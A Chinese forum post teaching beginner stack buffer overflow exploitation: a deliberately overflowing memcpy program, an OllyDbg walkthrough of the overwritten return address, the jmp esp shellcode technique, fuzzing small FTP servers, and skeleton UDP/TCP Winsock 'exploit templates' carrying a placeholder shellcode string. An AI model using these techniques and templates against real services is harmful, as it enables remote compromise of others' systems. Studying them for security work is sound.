12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 381|回复: 0

挖掘0day初步基础学习

[复制链接]

315

主题

315

帖子

640

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
640
发表于 2020-2-9 02:46:37 | 显示全部楼层 |阅读模式
你还在大牛的博客里翻他们的漏洞利用脚本吗?你还在github上拼命找漏洞利用脚本吗。。。
相信现在也有很多人像我一样再尝试漏洞挖掘这一块,但网上的教材可能都说的太略。。。我就来完整的来一次流程。。。

首先我们先来试一下本地溢出的漏洞。。。当然,我们得自己构造一个来尝试,memcpy函数就是个很好的例子。。。
编译语言 c
编译器vc++
[C] 纯文本查看 复制代码#include"stdio.h"#include"string.h"main(){int i;char a[4]="s",b[20]="ssssssssssssssssss";i=sizeof(b);memcpy(a,b,i);printf("a=%s\nb=%s",a,b);return 0;}
代码部分不多做介绍,至于为什么用vc++?因为其他编译器大多都会做溢出保护,当然,这些都可以通过技术手段绕过。。。
学过c的同学一眼肯定就能看出,在调用memcpy中发生了溢出,a只有五个字节的空间,但要把b全复制进去,多余的16个空间就发生了溢出,现在开始手动调试
od载入。004014E0 >/$  55            push ebp

ctrl g搜索一下函数“memcpy”
来到这里00401160 > $  55            push ebp
f2下一个断点,然后f9让程序跑起来。跑到我们的断点处停下,然后ctrl f9将这个函数跑完,中途可能要跑完好几个函数。。。中途可以顺便看一下ecx:0018FF2C   这个地址内的数据是一堆s,继续跑,来到这里0040108B  |.  83C4 0C       add esp,0xC
可以看到上一行就是00401086  |.  E8 D5000000   call memcpy                              ; \memcpy
此时f8忽略call单步下去,直到运行到retn,此时cpu会取出esp所存储的内存数据,传给eip,作为一条指令所在的内存地址,此时看一下寄存器ESP:0018FF4C
再查一下堆栈窗口,看下这个0018FF4C地址存储什么数据?0018FF4C  : 73737373
73?大家可能已经明白了,73就是我们用的小写s的16进制形式,我们的溢出数据用的就是s。
我们再压一下f9,程序运行出错,可以在异常信息中看到,偏移为73737373


很明显,多余的s覆盖了memcpy的返回地址,而73737373并不存在,程序就boom了
但是如果我们不用s,通过偏移计算后。而把多余的数据换成我们精心设计的shellcode呢?一次溢出攻击就发动了。
至于shellcode怎么写?
首先我们需要算出溢出是第几个数据处发生的,这个用堆栈窗口稍微一算就ok,我无需多说了、、、
也可以在vc++中完成,以asm内联汇编的形式写一段你需要的攻击代码,然后转成16进制码即可,如果我们,把shellcode代替那多余的16的s来使用,咳咳、、、
但是我们需要多说几句话,首先,在合法的数据后面可是不能直接写攻击代码的~我们要绕一下。在asm中攻击代码的前面,我们要多加一条jmp esp或者是call esp。这是为何呢?
程序每运行一次,堆栈的内存地址都会发生变化,shellcode则分布的杂乱无章,怎么破呢?用esp,esp永远代表堆栈地址所在位置,于是,我们先用调到esp的指令来覆盖,就能达到我们的目的,至于jmp esp的所在内存的地址是什么?各个系统都不一样,我们需要用到一个findjmp的工具来查询,而查到后注意,不能直接写上,首先也要分成4对来储存,例如“x47“然后我们需要把顺序全变过来,如果原来是x12 x45 x09,现在就要是x09 x45 x12,这是因为windows系统的底层设计问题,,,我们不多说。此时第一行shellcode是jmp esp,但注意!还没有完成,程序在溢出后,会崩溃,而崩溃中,就会发生偏移,此时我们可以通过od把偏移量算出来,在jmp esp与攻击代码直接加上偏移量大小的无用数据,当然,懒的话还有个办法,直接加上10个无用字母,基本上偏移量也不会更大了。。。
此时我们把精心设计好的shellcode换掉多余的一堆s,就能达到你攻击代码想实现的目的。




当然这只是本地溢出?至于远程溢出,远程服务可能是以加密的数据来传输的,也可能是明文传输的,相对而言,远程服务为了效率,明文传输更多,,而且这跟是否是明文基本没啥关系。我们可以拿小厂商的ftp来练手,此时我们还需要一个工具1ftpfuzzer,fuzz即为暴力,打过信息学联赛的朋友们大概一定会很痛恨一种东西,强数据,明明样例数据能过,确总有好几个测试点过不去,而在acm中,一个点不过就0分,我也是想骂人。。。咳咳,回到fuzz上来,fuzz会暴力模拟上万种奇怪的,强数据来测试,我们可以通过ftpfuzzer来完成,设置好基本参数后,我们只需要喝喝红花茶等等就好了,如果顺利,很快就会fuzz结束,因为有测试数据成功了,我们可以在ftpfuzzer的工作栏中找到发生溢出的数据,然后如上的本地溢出进行测试,流程基本一致,只是在溢出工作上,我们总不能用ftpfuzzer来攻击把?我们此时可以吧设计好的数据存在一个数组中。。。
然后可以用编程语言来实现发送的目的。。。这个时候py最合适了。。。当然我更希望大家使用c。。。
通过winsock的api,我们可以实现发包的目的,来发动远程溢出攻击。。。至于为何没有图??大概是我们机房这边网络不稳定。。。我也快醉了。。。上午还好好的。。。如果需要图的话,我的博客里有简略的文章,里面有图,当然那个写的非常简略。。。当然希望我以后还能继续本篇的内容,写出更好的文章来。
补一下远程EXP模版:
UDP
[C++] 纯文本查看 复制代码#include "stdafx.h"#include #include #include "string.h"#pragma comment(lib, "ws2_32.lib") int main(int argc, char* argv[]){    WORD socketVersion = MAKEWORD(2,2);    WSADATA wsaData;     if(WSAStartup(socketVersion, &wsaData) != 0)    {        return 0;    }    SOCKET sclient = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);        sockaddr_in sin;    sin.sin_family = AF_INET;    sin.sin_port = htons(8888);    sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");    int len = sizeof(sin);        char *sendData= "SHELLCODE";    sendto(sclient, sendData, strlen(sendData), 0, (sockaddr *)&sin, len);    char recvData[255];         int ret = recvfrom(sclient, recvData, 255, 0, (sockaddr *)&sin, &len);    if(ret > 0)    {        recvData[ret] = 0x00;        printf(recvData);    }    closesocket(sclient);    WSACleanup();    return 0;}

TCP
[Asm] 纯文本查看 复制代码#include "stdafx.h"#include #include "string.h"#include #pragma  comment(lib,"ws2_32.lib")int main(int argc, char* argv[]){    WORD sockVersion = MAKEWORD(2,2);    WSADATA data;     if(WSAStartup(sockVersion, &data) != 0)//异常    {        return 0;    }    SOCKET sclient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//套间字 TCP 可改为udp 但要改变三握四挥    if(sclient == INVALID_SOCKET)    {        printf("invalid socket !");        return 0;    }    sockaddr_in serAddr;    serAddr.sin_family = AF_INET;    serAddr.sin_port = htons(8888);//端口    serAddr.sin_addr.S_un.S_addr = inet_addr(* argv); //ip    if (connect(sclient, (sockaddr *)&serAddr, sizeof(serAddr)) == SOCKET_ERROR)    {        printf("cownnect error !");//连接构造失败,包堵塞通道        closesocket(sclient);        return 0;    }    char * sendData = "Shellcode";//此段为shellcode 但要注意 ESP偏移     send(sclient, sendData, strlen(sendData), 0);        char recData[255];     int ret = recv(sclient, recData, 255, 0);        if(ret > 0)    {        //recData[ret] = 0x00;        printf("wrong attack !");    }        else printf("attack success !");            closesocket(sclient);    WSACleanup();    return 0;}
UDP版没注释,请参考TCP版,希望大家多多支持。。。我还会再更的。。。

博客地址 maxwheat.ml
谢谢大家观看




来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-5-19 06:26 , Processed in 0.088867 second(s), 30 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表